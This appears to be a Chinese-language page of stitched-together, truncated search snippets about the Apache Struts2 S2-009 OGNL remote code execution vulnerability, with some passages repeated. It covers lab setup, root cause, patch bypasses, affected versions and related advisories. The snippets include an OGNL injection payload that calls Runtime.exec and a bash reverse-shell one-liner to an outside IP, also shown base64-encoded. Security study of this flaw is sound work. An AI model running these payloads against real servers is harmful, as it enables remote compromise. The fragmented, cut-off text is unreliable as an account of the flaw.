简单访问一下,说明 Struts2S2-009 远程代码执行漏洞环境搭建成功了 (1)命令执行,创建文件 age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exe...
Struts2远程命令执行漏洞(S2-009)是Apache Struts2框架中存在的一个安全漏洞,允许攻击者通过精心构造的OGNL(Object-Graph Navigation Language)表达式注入恶意代码,从而在受影响的Web应用程序上执行任意命令。这种漏洞对使用Apache Struts2框架的Web应用程序构成了严重的安全风险。 2. s2-009漏洞的产生原因 Struts2 S2-0...
先对S2-009.war进行解压(我用binwalk,其实直接zip就可以),可见源码都在WEB-INF/src目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。 找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java: publicclassExample5ActionextendsActionSupport{privatestaticfinal long serialVersionUID...
发现dns有记录,说明存在该漏洞。 既然发现漏洞了,那我们可以开始反弹shell 代码语言:javascript 复制 bash-i>&/dev/tcp/192.168.146.158/99990>&1base加密 bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} 访问漏洞url并且添加恶意payload进行抓包。 代...
S2-009是S2-003与S2-005的补丁绕过,当时的补丁是增加了正则以及相关的限制(这些限制可以通过执行OGNL表达式进行修改),主要的防御还是正则。 这次的问题还是出现在ParameterInterceptor这个拦截器上,其漏洞原理类似于二次注入,先将Payload注入到上下文中,取出来时通过某个特定语法就可以执行之前设置过的Payload。
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态...
S2-009ParameterInterceptor漏洞允许远程代码执行 S2-010 当使用Struts2 token机制防护CSRF漏洞时,滥用已知会话属性可能绕过token检测 S2-011 长请求参数名称可能会提高DOS攻击 S2-012Showcase app漏洞可能导致远程代码执行 S2-013 存在于URL和Anchor Tag的includeParams属性中的漏洞允许远程执行命令 ...
https://github.com/phith0n/vulhub/tree/master/struts2/s2-009 https://www.waitalone.cn/struts2-command-exp.html 二、 影响版本: Struts 2.0.0 - Struts 2.3.1.1 三、 漏洞介绍: OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用...
S2-009是S2-003与S2-005的补丁绕过,当时的补丁是增加了正则以及相关的限制(这些限制可以通过执行OGNL表达式进行修改),主要的防御还是正则。 这次的问题还是出现在ParameterInterceptor这个拦截器上,其漏洞原理类似于二次注入,先将Payload注入到上下文中,取出来时通过某个特定语法就可以执行之前设置过的Payload。
入参数,导致可以使用ognl解析的方式来进行远程代码的注入执行。关于该漏洞的修复是需要将 apache系统参数值denyMethodExecution设置为关闭,然后将参数的拦截过滤系统进行了升级 ,更为严格的一个正则表达式过滤。 S2-007,S2-008,S2-009漏洞详情是需要开启decmode开发模式,在调试开发代码过程中存在了 ...